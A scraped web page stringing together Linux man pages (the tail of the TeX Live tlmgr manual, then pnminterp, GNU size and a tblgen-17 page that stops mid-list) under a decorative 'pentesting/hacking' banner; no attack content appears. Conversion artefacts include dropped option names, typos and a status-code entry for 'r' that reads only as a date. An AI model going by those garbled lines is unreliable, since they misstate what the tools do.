Cryptographic verification requires checksum checking (described just above) to succeed, and a working GnuPG (gpg) program (see below for search method). Then, unless cryptographic verification has been disabled, a signature file (texlive.tlpdb.*.asc) of the checksum file is downloaded and the signature verified. The signature is created by the TeX Live Distribution GPG key 0x0D5E5D9106BAB6BC, which in turn is signed by Karl Berry’s key 0x0716748A30D155AD and Norbert Preining’s key 0x6CACA448860CDC13. All of these keys are obtainable from the standard key servers.

Additional trusted keys can be added using the key action.

Configuration of GnuPG invocation

The executable used for GnuPG is searched as follows: If the environment variable TL_GNUPG is set, it is tested and used; otherwise gpg is checked; finally gpg2 is checked.

Further adaptation of the gpg invocation can be made using the two environment variables TL_GNUPGHOME, which is passed to gpg as the value for --homedir, and TL_GNUPGARGS, which replaces the default options --no-secmem-warning --no-permission-warning.

USER MODE

tlmgr provides a restricted way, called ``user mode’’, to manage arbitrary texmf trees in the same way as the main installation. For example, this allows people without write permissions on the installation location to update/install packages into a tree of their own.

tlmgr is switched into user mode with the command line option --usermode. It does not switch automatically, nor is there any configuration file setting for it. Thus, this option has to be explicitly given every time user mode is to be activated.

This mode of tlmgr works on a user tree, by default the value of the TEXMFHOME variable. This can be overridden with the command line option --usertree. In the following when we speak of the user tree we mean either TEXMFHOME or the one given on the command line.

Not all actions are allowed in user mode; tlmgr will warn you and not carry out any problematic actions. Currently not supported (and probably will never be) is the platform action. The gui action is currently not supported, but may be in a future release.

Some tlmgr actions don’t need any write permissions and thus work the same in user mode and normal mode. Currently these are: check, help, list, print-platform, print-platform-info, search, show, version.

On the other hand, most of the actions dealing with package management do need write permissions, and thus behave differently in user mode, as described below: install, update, remove, option, paper, generate, backup, restore, uninstall, symlinks.

Before using tlmgr in user mode, you have to set up the user tree with the init-usertree action. This creates usertree/web2c and usertree/tlpkg/tlpobj, and a minimal usertree/tlpkg/texlive.tlpdb. At that point, you can tell tlmgr to do the (supported) actions by adding the --usermode command line option.

In user mode the file usertree/tlpkg/texlive.tlpdb contains only the packages that have been installed into the user tree using tlmgr, plus additional options from the ``virtual’’ package 00texlive.installation (similar to the main installation’s texlive.tlpdb).

All actions on packages in user mode can only be carried out on packages that are known as relocatable. This excludes all packages containing executables and a few other core packages. Of the 2500 or so packages currently in TeX Live the vast majority are relocatable and can be installed into a user tree.

Description of changes of actions in user mode:

User mode install

In user mode, the install action checks that the package and all dependencies are all either relocated or already installed in the system installation. If this is the case, it unpacks all containers to be installed into the user tree (to repeat, that’s either TEXMFHOME or the value of --usertree) and add the respective packages to the user tree’s texlive.tlpdb (creating it if need be).

Currently installing a collection in user mode installs all dependent packages, but in contrast to normal mode, does not install dependent collections. For example, in normal mode tlmgr install collection-context would install collection-basic and other collections, while in user mode, only the packages mentioned in collection-context are installed.

If a package shipping map files is installed in user mode, a backup of the user’s updmap.cfg in USERTREE/web2c/ is made, and then this file regenerated from the list of installed packages.

User mode backup, restore, remove, update

In user mode, these actions check that all packages to be acted on are installed in the user tree before proceeding; otherwise, they behave just as in normal mode.

User mode generate, option, paper

In user mode, these actions operate only on the user tree’s configuration files and/or texlive.tlpdb.

User mode logs

In user mode, tlmgr.log and <tlmgr-commands.log> are written in the TEXMFVAR/web2c/ directlry instead of TEXMFSYSVAR/web2c/.

MULTIPLE REPOSITORIES

The main TeX Live repository contains a vast array of packages. Nevertheless, additional local repositories can be useful to provide locally-installed resources, such as proprietary fonts and house styles. Also, alternative package repositories distribute packages that cannot or should not be included in TeX Live, for whatever reason.

The simplest and most reliable method is to temporarily set the installation source to any repository (with the -repository or option repository command line options), and perform your operations.

When you are using multiple repositories over a sustained length of time, however, explicitly switching between them becomes inconvenient. Thus, it’s possible to tell tlmgr about additional repositories you want to use. The basic command is tlmgr repository add. The rest of this section explains further.

When using multiple repositories, one of them has to be set as the main repository, which distributes most of the installed packages. When you switch from a single repository installation to a multiple repository installation, the previous sole repository will be set as the main repository.

By default, even if multiple repositories are configured, packages are still only installed from the main repository. Thus, simply adding a second repository does not actually enable installation of anything from there. You also have to specify which packages should be taken from the new repository, by specifying so-called ``pinning’’ rules, described next.

Pinning

When a package foo is pinned to a repository, a package foo in any other repository, even if it has a higher revision number, will not be considered an installable candidate.

As mentioned above, by default everything is pinned to the main repository. Let’s now go through an example of setting up a second repository and enabling updates of a package from it.

First, check that we have support for multiple repositories, and have only one enabled (as is the case by default):

$ tlmgr repository list List of repositories (with tags if set): /var/www/norbert/tlnet

Ok. Let’s add the tlcontrib repository (this is a real repository hosted at <http://contrib.texlive.info>) with the tag tlcontrib:

$ tlmgr repository add http://contrib.texlive.info/current tlcontrib

Check the repository list again:

$ tlmgr repository list List of repositories (with tags if set): http://contrib.texlive.info/current (tlcontrib) /var/www/norbert/tlnet (main)

Now we specify a pinning entry to get the package classico from tlcontrib:

$ tlmgr pinning add tlcontrib classico

Check that we can find classico:

$ tlmgr show classico package: classico … shortdesc: URW Classico fonts …

- install classico:

$ tlmgr install classico tlmgr: package repositories: … [1/1, ??:??/??:??] install: classico @tlcontrib [737k]

In the output here you can see that the classico package has been installed from the tlcontrib repository (@tlcontrib).

Finally, tlmgr pinning also supports removing certain or all packages from a given repository:

$ tlmgr pinning remove tlcontrib classico # remove just classico $ tlmgr pinning remove tlcontrib –all # take nothing from tlcontrib

A summary of tlmgr pinning actions is given above.

GUI FOR TLMGR

The graphical user interface for tlmgr requires Perl/Tk <https://search.cpan.org/search?query=perl%2Ftk>. For Unix-based systems Perl/Tk (as well as Perl of course) has to be installed outside of TL. <https://tug.org/texlive/distro.html#perltk> has a list of invocations for some distros. For Windows the necessary modules are no longer shipped within TeX Live, so you’ll have to have an external Perl available that includes them.

We are talking here about the GUI built into tlmgr itself, not about the other tlmgr GUIs, which are: tlshell (Tcl/Tk-based), tlcockpit (Java-based) and, only on Macs, TeX Live Utility. These are invoked as separate programs.

The GUI mode of tlmgr is started with the invocation tlmgr gui; assuming Tk is loadable, the graphical user interface will be shown. The main window contains a menu bar, the main display, and a status area where messages normally shown on the console are displayed.

Within the main display there are three main parts: the Display configuration area, the list of packages, and the action buttons.

Also, at the top right the currently loaded repository is shown; this also acts as a button and when clicked will try to load the default repository. To load a different repository, see the tlmgr menu item.

Finally, the status area at the bottom of the window gives additional information about what is going on.

Main display

Display configuration area

The first part of the main display allows you to specify (filter) which packages are shown. By default, all are shown. Changes here are reflected right away.

Status
Select whether to show all packages (the default), only those installed, only those not installed, or only those with update available.

Category
Select which categories are shown: packages, collections, and/or schemes. These are briefly explained in the “DESCRIPTION” section above.

Match
Select packages matching for a specific pattern. By default, this searches both descriptions and filenames. You can also select a subset for searching.

Selection
Select packages to those selected, those not selected, or all. Here, ``selected’’ means that the checkbox in the beginning of the line of a package is ticked.

Display configuration buttons
To the right there are three buttons: select all packages, select none (a.k.a. deselect all), and reset all these filters to the defaults, i.e., show all available.

Package list area

The second are of the main display lists all installed packages. If a repository is loaded, those that are available but not installed are also listed.

Double clicking on a package line pops up an informational window with further details: the long description, included files, etc.

Each line of the package list consists of the following items:

a checkbox
Used to select particular packages; some of the action buttons (see below) work only on the selected packages.

package name
The name (identifier) of the package as given in the database.

local revision (and version)
If the package is installed the TeX Live revision number for the installed package will be shown. If there is a catalogue version given in the database for this package, it will be shown in parentheses. However, the catalogue version, unlike the TL revision, is not guaranteed to reflect what is actually installed.

remote revision (and version)
If a repository has been loaded the revision of the package in the repository (if present) is shown. As with the local column, if a catalogue version is provided it will be displayed. And also as with the local column, the catalogue version may be stale.

short description
The short description of the package.

Main display action buttons

Below the list of packages are several buttons:

Update all installed
This calls tlmgr update --all, i.e., tries to update all available packages. Below this button is a toggle to allow reinstallation of previously removed packages as part of this action. The other four buttons only work on the selected packages, i.e., those where the checkbox at the beginning of the package line is ticked.

Update
Update only the selected packages.

Install
Install the selected packages; acts like tlmgr install, i.e., also installs dependencies. Thus, installing a collection installs all its constituent packages.

Remove
Removes the selected packages; acts like tlmgr remove, i.e., it will also remove dependencies of collections (but not dependencies of normal packages).

Backup
Makes a backup of the selected packages; acts like tlmgr backup. This action needs the option backupdir set (see Options - General>).

The following entries can be found in the menu bar:

“tlmgr” menu
The items here load various repositories: the default as specified in the TeX Live database, the default network repository, the repository specified on the command line (if any), and an arbitrarily manually-entered one. Also has the so-necessary quit operation.

“Options menu”
Provides access to several groups of options: Paper (configuration of default paper sizes), Platforms (only on Unix, configuration of the supported/installed platforms), GUI Language (select language used in the GUI interface), and General (everything else). Several toggles are also here. The first is Expert options, which is set by default. If you turn this off, the next time you start the GUI a simplified screen will be shown that display only the most important functionality. This setting is saved in the configuration file of tlmgr; see “CONFIGURATION FILE FOR TLMGR” for details. The other toggles are all off by default: for debugging output, to disable the automatic installation of new packages, and to disable the automatic removal of packages deleted from the server. Playing with the choices of what is or isn’t installed may lead to an inconsistent TeX Live installation; e.g., when a package is renamed.

“Actions menu”
Provides access to several actions: update the filename database (aka ls-R, mktexlsr, texhash), rebuild all formats (fmtutil-sys –all), update the font map database (updmap-sys), restore from a backup of a package, and use of symbolic links in system directories (not on Windows). The final action is to remove the entire TeX Live installation (also not on Windows).

“Help menu”
Provides access to the TeX Live manual (also on the web at <https://tug.org/texlive/doc.html>) and the usual ``About’’ box.

GUI options

Some generic Perl/Tk options can be specified with tlmgr gui to control the display:

“-background” color
Set background color.

“-font "” fontname fontsize "””
Set font, e.g., tlmgr gui -font "helvetica 18". The argument to -font must be quoted, i.e., passed as a single string.

“-foreground” color
Set foreground color.

“-geometry” geomspec
Set the X geometry, e.g., tlmgr gui -geometry 1024x512-0+0 creates the window of (approximately) the given size in the upper-right corner of the display.

“-xrm” xresource
Pass the arbitrary X resource string xresource.

A few other obscure options are recognized but not mentioned here. See the Perl/Tk documentation (<https://search.cpan.org/perldoc?Tk>) for the complete list, and any X documentation for general information.

MACHINE-READABLE OUTPUT

With the --machine-readable option, tlmgr writes to stdout in the fixed line-oriented format described here, and the usual informational messages for human consumption are written to stderr (normally they are written to stdout). The idea is that a program can get all the information it needs by reading stdout.

Currently this option only applies to the update, install, and “option” actions.

Machine-readable “update” and “install” output

The output format is as follows:

fieldname " " value … “end-of-header” pkgname status localrev serverrev size runtime esttot … “end-of-updates” other output from post actions, not in machine readable form

The header section currently has two fields: location-url (the repository source from which updates are being drawn), and total-bytes (the total number of bytes to be downloaded).

The localrev and serverrev fields for each package are the revision numbers in the local installation and server repository, respectively. The size field is the number of bytes to be downloaded, i.e., the size of the compressed tar file for a network installation, not the unpacked size. The runtime and esttot fields are only present for updated and auto-install packages, and contain the currently passed time since start of installation/updates and the estimated total time.

Line endings may be either LF or CRLF depending on the current platform.

“location-url” location
The location may be a url (including file:///foo/bar/...), or a directory name (/foo/bar). It is the package repository from which the new package information was drawn.

“total-bytes” count
The count is simply a decimal number, the sum of the sizes of all the packages that need updating or installing (which are listed subsequently).

Then comes a line with only the literal string end-of-header.

Each following line until a line with literal string end-of-updates reports on one package. The fields on each line are separated by a tab. Here are the fields.

pkgname
The TeX Live package identifier, with a possible platform suffix for executables. For instance, pdftex and pdftex.i386-linux are given as two separate packages, one on each line.

status
The status of the package update. One character, as follows:

“d”
The package was removed on the server.

“f”
The package was removed in the local installation, even though a collection depended on it. (E.g., the user ran tlmgr remove –force.)

“u”
Normal update is needed.

“r”
Reversed non-update: 2020-01-01

“a”
Automatically-determined need for installation, the package is new on the server and is (most probably) part of an installed collection.

“i”
Package will be installed and isn’t present in the local installation (action install).

“I”
Package is already present but will be reinstalled (action install).

localrev
The revision number of the installed package, or - if it is not present locally.

serverrev
The revision number of the package on the server, or - if it is not present on the server.

size
The size in bytes of the package on the server. The sum of all the package sizes is given in the total-bytes header field mentioned above.

runtime
The run time since start of installations or updates.

esttot
The estimated total time.

Machine-readable “option” output

The output format is as follows:

key " " value

If a value is not saved in the database the string (not set) is shown.

If you are developing a program that uses this output, and find that changes would be helpful, do not hesitate to write the mailing list.

ENVIRONMENT VARIABLES

tlmgr uses many of the standard TeX environment variables, as reported by, e.g., tlmgr conf (“conf”).

In addition, for ease in scripting and debugging, tlmgr looks for the following environment variables. These are not of interest for normal user installations.

“TEXLIVE_COMPRESSOR”
This variable allows selecting a different compressor program for backups and intermediate rollback containers. The order of selection is:

  1. If the environment variable TEXLIVE_COMPRESSOR is defined, use it; abort if it doesn’t work. Possible values: lz4, gzip, xz. The necessary options are added internally.

  2. If lz4 is available (either from the system or TL) and working, use that.

  3. If gzip is available (from the system) and working, use that.

  4. If xz is available (either from the system or TL) and working, use that.

lz4 and gzip are faster in creating tlmgr’s local backups, hence they are preferred. The unconditional use of xz for the tlnet containers is unaffected, to minimize download sizes.

“TEXLIVE_DOWNLOADER”

“TL_DOWNLOAD_PROGRAM”

“TL_DOWNLOAD_ARGS”

These options allow selecting different download programs then the ones automatically selected by the installer. The order of selection is:

  1. If the environment variable TEXLIVE_DOWNLOADER is defined, use it; abort if the specified program doesn’t work. Possible values: lwp, curl, wget. The necessary options are added internally.

  2. If the environment variable TL_DOWNLOAD_PROGRAM is defined (can be any value), use it together with TL_DOWNLOAD_ARGS; abort if it doesn’t work.

  3. If LWP is available and working, use that (by far the most efficient method, as it supports persistent downloads).

  4. If curl is available (from the system) and working, use that.

  5. If wget is available (either from the system or TL) and working, use that.

TL provides wget binaries for platforms where necessary, so some download method should always be available.

“TEXLIVE_PREFER_OWN”
By default, compression and download programs provided by the system, i.e., found along PATH are preferred over those shipped with TeX Live. This can create problems with systems that are too old, and so can be overridden by setting the environment variable TEXLIVE_PREFER_OWN to 1. In this case, executables shipped with TL will be preferred. Extra compression/download programs not provided by TL, such as gzip, lwp, and curl, are still checked for on the system and used if available, per the above. TEXLIVE_PREFER_OWN only applies when the program being checked for is shipped with TL, namely the lz4 and xz compressors and wget downloader. Exception: on Windows, the tar.exe shipped with TL is always used, regardless of any setting.

AUTHORS AND COPYRIGHT

This script and its documentation were written for the TeX Live distribution (<https://tug.org/texlive>) and both are licensed under the GNU General Public License Version 2 or later.

$Id: tlmgr.pl 71331 2024-05-24 07:30:36Z preining $

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1954 - Linux cli command pnminterp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnminterp and provides detailed information about the command pnminterp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnminterp.

.

NAME 🖥️ pnminterp 🖥️

replaced by pamstretch

DESCRIPTION

This program is part of Netpbm(1) .

pnminterp was replaced in Netpbm 9.21 (December 2001) by pamstretch(1) .

pamstretch is backward compatible with pnminterp, but also recognizes PAM input, including that with a transparency channel.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnminterp.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1955 - Linux cli command size

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command size and provides detailed information about the command size, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the size.

NAME 🖥️ size 🖥️

list section sizes and total size of binary files

SYNOPSIS

size [-A|-B|-G|–format=compatibility] [–help] [-d|-o|-x|–radix=number] [–common] [-t|–totals] [–target=bfdname] [-V|–version] [-f] [objfile…]

DESCRIPTION

The GNU size utility lists the section sizes and the total size for each of the binary files objfile on its argument list. By default, one line of output is generated for each file or each module if the file is an archive.

objfile… are the files to be examined. If none are specified, the file a.out will be used instead.

OPTIONS

The command-line options have the following meanings:

-A

-B

-G

–format=compatibility

Using one of these options, you can choose whether the output from GNU size resembles output from System V size (using -A, or –format=sysv), or Berkeley size (using -B, or –format=berkeley). The default is the one-line format similar to Berkeley’s. Alternatively, you can choose the GNU format output (using -G, or –format=gnu), this is similar to Berkeley’s output format, but sizes are counted differently. Here is an example of the Berkeley (default) format of output from size: $ size –format=Berkeley ranlib size text data bss dec hex filename 294880 81920 11592 388392 5ed28 ranlib 294880 81920 11888 388688 5ee50 size The Berkeley style output counts read only data in the text column, not in the data column, the dec and hex columns both display the sum of the text, data, and bss columns in decimal and hexadecimal respectively. The GNU format counts read only data in the data column, not the text column, and only displays the sum of the text, data, and bss columns once, in the total column. The –radix option can be used to change the number base for all columns. Here is the same data displayed with GNU conventions: $ size –format=GNU ranlib size text data bss total filename 279880 96920 11592 388392 ranlib 279880 96920 11888 388688 size This is the same data, but displayed closer to System V conventions: $ size –format=SysV ranlib size ranlib : section size addr .text 294880 8192 .data 81920 303104 .bss 11592 385024 Total 388392 size : section size addr .text 294880 8192 .data 81920 303104 .bss 11888 385024 Total 388688

–help

-h

-H

-?

Show a summary of acceptable arguments and options.

-d

-o

-x

–radix=number

Using one of these options, you can control whether the size of each section is given in decimal (-d, or –radix=10); octal (-o, or –radix=8); or hexadecimal (-x, or –radix=16). In **–radix=**number, only the three values (8, 10, 16) are supported. The total size is always given in two radices; decimal and hexadecimal for -d or -x output, or octal and hexadecimal if you’re using -o.

–common
Print total size of common symbols in each file. When using Berkeley or GNU format these are included in the bss size.

-t

–totals

Show totals of all objects listed (Berkeley or GNU format mode only).

–target=bfdname
Specify that the object-code format for objfile is bfdname. This option may not be necessary; size can automatically recognize many formats.

-v

-V

–version

Display the version number of size.

-f
Ignored. This option is used by other versions of the size program, but it is not supported by the GNU Binutils version.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), objdump (1), readelf (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1956 - Linux cli command tblgen-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tblgen-17 and provides detailed information about the command tblgen-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tblgen-17.

NAME 🖥️ tblgen-17 🖥️

Description to C++ Code

SYNOPSIS

clang-tblgen [options] [filename]

lldb-tblgen [options] [filename]

llvm-tblgen [options] [filename]

mlir-tblgen [options] [filename]

DESCRIPTION

*-tblgen is a family of programs that translates target description (.td) files into C++ code and other output formats. Most users of LLVM will not need to use this program. It is used only for writing parts of the compiler, debugger, and LLVM target backends.

The details of the input and output of the *-tblgen programs is beyond the scope of this short introduction; please see the TableGen Overview for an introduction and for references to additional TableGen documents.

The filename argument specifies the name of the Target Description (.td) file that TableGen processes.

OPTIONS

General Options

-help
Print a description of the command line options.

-help-list
Print a description of the command line options in a simple list format.

-D=macroname
Specify the name of a macro to be defined. The name is defined, but it has no particular value.

-d=filename
Specify the name of the dependency filename.

-debug
Enable debug output.

-dump-json
Print a JSON representation of all records, suitable for further automated processing.

-I directory
Specify where to find other target description files for inclusion. The directory value should be a full or partial path to a directory that contains target description files.

-null-backend
Parse the source files and build the records, but do not run any backend. This is useful for timing the frontend.

-o filename
Specify the output file name. If filename is -, then *-tblgen sends its output to standard output.

-print-records
Print all classes and records to standard output (default backend option).

-print-detailed-records
Print a detailed report of all global variables, classes, and records to standard output.

-stats
Print a report with any statistics collected by the backend.

-time-phases
Time the parser and backend phases and print a report.

-version
Show the version number of the program.

-write-if-changed
Write the output file only if it is new or has changed.

clang-tblgen Options

-gen-clang-attr-classes
Generate Clang attribute classes.

-gen-clang-attr-parser-string-switches
Generate all parser-related attribute string switches.

-gen-clang-attr-subject-match-rules-parser-string-switches
Generate all parser-related attribute subject match rule string switches.

-gen-clang-attr-impl
Generate Clang attribute implementations.

-gen-clang-attr-list"
Generate a Clang attribute list.

-gen-clang-attr-subject-match-rule-list
Generate a Clang attribute subject match rule list.

-gen-clang-attr-pch-read
Generate Clang PCH attribute reader.

-gen-clang-attr-pch-write
Generate Clang PCH attribute writer.

-gen-clang-attr-has-attribute-impl
Generate a Clang attribute spelling list.

-gen-clang-attr-spelling-index
Generate a Clang attribute spelling index.

-gen-clang-attr-ast-visitor
Generate a recursive AST visitor for Clang attributes.

-gen-clang-attr-template-instantiate
Generate a Clang template instantiate code.

-gen-clang-attr-parsed-attr-list
Generate a Clang parsed attribute list.

-gen-clang-attr-parsed-attr-impl
Generate the Clang parsed attribute helpers.

-gen-clang-attr-parsed-attr-kinds
Generate a Clang parsed attribute kinds.

-gen-clang-attr-text-node-dump
Generate Clang attribute text node dumper.

-gen-clang-attr-node-traverse
Generate Clang attribute traverser.

-gen-clang-diags-defs
Generate Clang diagnostics definitions.

-clang-component component
Only use warnings from specified component.

-gen-clang-diag-groups
Generate Clang diagnostic groups.

-gen-clang-diags-index-name
Generate Clang diagnostic name index.

-gen-clang-basic-reader
Generate Clang BasicReader classes.

-gen-clang-basic-writer
Generate Clang BasicWriter classes.

-gen-clang-comment-nodes
Generate Clang AST comment nodes.

-gen-clang-decl-nodes
Generate Clang AST declaration nodes.

-gen-clang-stmt-nodes
Generate Clang AST statement nodes.

-gen-clang-type-nodes
Generate Clang AST type nodes.

-gen-clang-type-reader
Generate Clang AbstractTypeReader class.

-gen-clang-type-writer
Generate Clang AbstractTypeWriter class.

-gen-clang-opcodes
Generate Clang constexpr interpreter opcodes.

-gen-clang-sa-checkers
Generate Clang static analyzer checkers.

-gen-clang-comment-html-tags
Generate efficient matchers for HTML tag names that are used in documentation comments.

-gen-clang-comment-html-tags-properties
Generate efficient matchers for HTML tag properties.

-gen-clang-comment-html-named-character-references
Generate function to translate named character references to UTF-8 sequences.

-gen-clang-comment-command-info
Generate command properties for commands that are used in documentation comments.

-gen-clang-comment-command-list
Generate list of commands that are used in documentation comments.

-gen-clang-opencl-builtins
Generate OpenCL builtin declaration handlers.

-gen-arm-neon
Generate arm_neon.h for Clang.

-gen-arm-fp16
Generate arm_fp16.h for Clang.

-gen-arm-bf16
Generate arm_bf16.h for Clang.

-gen-arm-neon-sema
Generate ARM NEON sema support for Clang.

-gen-arm-neon-test
Generate ARM NEON tests for Clang.

-gen-arm-sve-header
Generate arm_sve.h for Clang.

-gen-arm-sve-builtins
Generate arm_sve_builtins.inc for Clang.

-gen-arm-sve-builtin-codegen
Generate arm_sve_builtin_cg_map.inc for Clang.

-gen-arm-sve-typeflags
Generate arm_sve_typeflags.inc for Clang.

-gen-arm-sve-sema-rangechecks
Generate arm_sve_sema_rangechecks.inc for Clang.

-gen-arm-mve-header
Generate arm_mve.h for Clang.

-gen-arm-mve-builtin-def
Generate ARM MVE builtin definitions for Clang.

-gen-arm-mve-builtin-sema
Generate ARM MVE builtin sema checks for Clang.

-gen-arm-mve-builtin-codegen
Generate ARM MVE builtin code-generator for Clang.

-gen-arm-mve-builtin-aliases
Generate list of valid ARM MVE builtin aliases for Clang.

-gen-arm-cde-header
Generate arm_cde.h for Clang.

-gen-arm-cde-builtin-def
Generate ARM CDE builtin definitions for Clang.

-gen-arm-cde-builtin-sema
Generate ARM CDE builtin sema checks for Clang.

-gen-arm-cde-builtin-codegen
Generate ARM CDE builtin code-generator for Clang.

-gen-arm-cde-builtin-aliases
Generate list of valid ARM CDE builtin aliases for Clang.

-gen-riscv-vector-header
Generate riscv_vector.h for Clang.

-gen-riscv-vector-builtins
Generate riscv_vector_builtins.inc for Clang.

-gen-riscv-vector-builtin-codegen
Generate riscv_vector_builtin_cg.inc for Clang.

-gen-riscv-sifive-vector-builtins
Generate riscv_sifive_vector_builtins.inc for Clang.

-gen-riscv-sifive-vector-builtin-codegen
Generate riscv_sifive_vector_builtin_cg.inc for Clang.

-gen-attr-docs
Generate attribute documentation.

-gen-diag-docs
Generate diagnostic documentation.

-gen-opt-docs
Generate option documentation.

-gen-clang-data-collectors
Generate data collectors for AST nodes.

-gen-clang-test-pragma-attribute-supported-attributes
Generate a list of attributes supported by #pragma Clang attribute for testing purposes.

lldb-tblgen Options

gen-lldb-option-defs
Generate lldb OptionDefinition values.

gen-lldb-property-defs
Generate lldb PropertyDefinition values.

gen-lldb-property-enum-defs
Generate lldb PropertyDefinition enum values.

llvm-tblgen Options

-gen-asm-matcher
Generate assembly instruction matcher.

-match-prefix=prefix
Make -gen-asm-matcher match only instructions with the given prefix.

-gen-asm-parser
Generate assembly instruction parser.

-asmparsernum=n
Make -gen-asm-parser emit assembly parser number n.

-gen-asm-writer
Generate assembly writer.

-asmwriternum=n
Make -gen-asm-writer emit assembly writer number n.

-gen-attrs
Generate attributes.

-gen-automata
Generate generic automata.

-gen-callingconv
Generate calling convention descriptions.

-gen-compress-inst-emitter
Generate RISC-V compressed instructions.

-gen-ctags
Generate ctags-compatible index.

-gen-dag-isel
Generate a DAG (directed acyclic graph) instruction selector.

-instrument-coverage
Make -gen-dag-isel generate tables to help identify the patterns matched.

-omit-comments
Make -gen-dag-isel omit comments. The default is false.

-gen-dfa-packetizer
Generate DFA Packetizer for VLIW targets.

-gen-directive-decl
Generate directive related declaration code (header file).

-gen-directive-gen
Generate directive related implementation code part.

-gen-directive-impl
Generate directive related implementation code.

-gen-disassembler
Generate disassembler.

-gen-emitter
Generate machine code emitter.

-gen-exegesis
Generate llvm-exegesis tables.

-gen-fast-isel
Generate a “fast” instruction selector.

-gen-global-isel
Generate GlobalISel selector.

-gisel-coverage-file=filename
Specify the file from which to retrieve coverage information.

-instrument-gisel-coverage
Make -gen-global-isel generate coverage instrumentation.

-optimize-match-table
Make -gen-global-isel generate an optimized version of the match table.

-warn-on-skipped-patterns
Make -gen-global-isel explain why a pattern was skipped for inclusion.

-gen-global-isel-combiner
(Deprecated, pending removal) Generate legacy GlobalISel combiner.

-gen-global-isel-combiner-matchtable
Generate MatchTable-based GlobalISel combiner.

-combiners=list
Make -gen-global-isel-combiner and -gen-global-isel-combiner-matchtable emit the specified combiners.

-gicombiner-show-expansions
Make -gen-global-isel-combiner use C++ comments to indicate occurrences of code expansion.

-gicombiner-stop-after-build
Make -gen-global-isel-combiner stop processing after building the match tree.

-gicombiner-stop-after-parse
Make -gen-global-isel-combiner and -gen-global-isel-combiner-matchtable stop processing after parsing rules and dump state.

-gen-instr-info
Generate instruction descriptions.

-gen-instr-docs
Generate instruction documentation.

-gen-intrinsic-enums
Generate intrinsic enums.

-intrinsic-prefix=prefix
Make -gen-intrinsic-enums generate intrinsics with this target prefix.

-gen-intrinsic-impl
Generate intrinsic information.

-gen-opt-parser-defs
Generate options definitions.

-gen-opt-rst
Generate option RST.

